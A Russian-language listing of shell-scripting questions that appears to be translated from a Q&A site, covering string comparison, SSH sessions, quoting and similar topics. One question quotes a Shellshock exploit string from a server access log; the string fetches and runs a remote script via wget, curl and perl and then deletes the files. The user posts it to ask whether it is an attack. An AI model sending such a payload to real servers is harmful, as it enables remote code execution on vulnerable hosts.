Вопросы с тегом «shell-script»

Сценарий оболочки - это сценарий, написанный для оболочки или интерпретатора командной строки операционной системы.

2
Как я могу сравнить переменную с текстовой строкой, а не целым числом, в операторе if / else?
В процессе написания сценария оболочки я столкнулся с проблемой следующего оператора if / else, который находится где-то посередине сценария: if [ $act -eq "add" ] then read - "add or update: " $comm git commit -m "$comm $file" else git commit -m "$act $file" fi Возвращаемая ошибка: ./gitup: line 13: …

3
Это атака или что-то, о чем нужно беспокоиться? Shellshock?
Увидел это в access.logна моем тестовом сервере: > 173.45.100.18 - - [26/Sep/2014:07:09:53 +0200] "GET /cgi-bin/hi HTTP/1.0" 404 490 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget > http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; > perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\"" Ни одно из адресов не имеет отношения ко мне или нашему …

8
Как запустить скрипт оболочки в Windows? [Дубликат]
На этот вопрос уже есть ответы здесь : Как выполнить файл .sh в Windows? (15 ответов) Закрыто 2 года назад . Этот вопрос был перенесен из переполнения стека, поскольку на него могут ответить суперпользователи. Мигрировал 7 лет назад . Я пользователь Mac и новичок в Windows. Как я могу выполнить …

7
Запустить сценарий оболочки в OS X без появления окна терминала?
Я пытаюсь настроить несколько сочетаний клавиш, которые открывают определенные сеансы iTerm, что я смог сделать с помощью BetterTouchTool и немного магии AppleScript. Проблема в том, что OS X настаивает на том, чтобы открыть окно терминала для любого сценария оболочки, который вы выполняете через графический интерфейс (например, из Finder или как …

3
Определить архитектуру Mac из командной строки или скрипта?
Я пишу сценарий оболочки, и мне нужно знать архитектуру, то есть PPC или Intel. Когда-то была программа / bin / arch, которая говорила вам, но мой Mac, похоже, не имеет ее. Есть ли простой способ сделать это? Grep для чего-то в лог-файл? Назовите какую-нибудь другую программу, которая выдает это как …

3
Передача двух аргументов в команду с использованием каналов
Обычно нам нужно передать только один аргумент: echo abc | cat echo abc | cat some_file - echo abc | cat - some_file Есть ли способ передать два аргумента? Что-то вроде {echo abc , echo xyz} | cat cat `echo abc` `echo xyz` Я мог бы сначала сохранить оба результата …

7
ssh и shell через ssh: как выйти?
Я запускаю удаленный скрипт через SSH так: ssh user@ipaddress '~/my_script.sh' Все идет хорошо, но как только скрипт завершен, соединение не закрывается. Я должен нажать CTRL-C, чтобы разорвать текущее соединение. Я пробовал команду «exit» в «~ / my_script.sh», и она бесполезна. Я пробовал команду "logout" в ~ / my_script.sh и получаю …
22 bash  ssh  shell-script 


1
Bash: опционально передавая аргументы команде
Я пытаюсь добавить аргументы для вызова команды зависит от другой переменной. Пожалуйста, посмотрите код сценария оболочки: curl \ $([ -z "${title}" ] || echo --data-urlencode title=${title}) \ http://example.com В примере, если titleзадано не нуль, аргумент будет добавлен в curl. Это не работает правильно, если titleсодержит пробелы. Также я не смог …

4
Должен ли я использовать расширения * .sh и * .rb для всех моих сценариев?
У меня есть куча свернутых вручную исполняемых скриптов в моем каталоге $ HOME / bin. Некоторые написаны на bash, некоторые на Ruby. У всех них есть строка shebang вверху, указывающая оболочке, какой интерпретатор использовать (в моем случае bash или Ruby). Мне интересно, лучше ли добавлять в эти сценарии расширения файлов, …


2
Написание сценариев оболочки, которые будут работать в любой оболочке (используя несколько строк shebang?)
Я только начал углубляться в создание сценариев оболочки, и я всегда просто бросал свой сценарий в файл, отмечал его, chmod +xа затем делал /path/to/script.shи позволял любому интерпретатору по умолчанию иметь с ним дело, которое, как я предполагал, было zsh, потому что это то, что Я использовал для моей раковины. По-видимому, …

5
Программно определить, выполняется ли сценарий на ноутбуке или настольном компьютере?
Есть ли надежный способ (программно) определить из сценария bash, выполняется ли он на ноутбуке или настольном компьютере? Очевидно, я мог бы просто попросить пользователя спросить их, но это довольно неуклюже.

4
Как вам избежать апострофа в одной строке в кавычках в Баше?
Я не понимаю, как bash оценивает экранирование символов апострофа в одиночных кавычках. Вот пример: $ echo ''\''Hello World'\''' 'Hello World' # works $ echo '\'Hello World\'' > # expects you to continue input Я пытался найти объяснения этому, но ничего не смог получить. Что Баш здесь делает?

1
Разбить очень длинную строку слов на отдельные строки максимальной длины
У меня есть скрипт, который выводит список пакетов на одной длинной строке, разделенных пробелами. Информация, включенная в эту строку, должна быть вставлена ​​в текстовый файл, который впоследствии будет представлен пользователю. Я хочу разбить длинную строку на несколько строк с определенной максимальной длиной, например, 80 символов, но разделение должно происходить только …

Используя наш сайт, вы подтверждаете, что прочитали и поняли нашу Политику в отношении файлов cookie и Политику конфиденциальности.
Licensed under cc by-sa 3.0 with attribution required.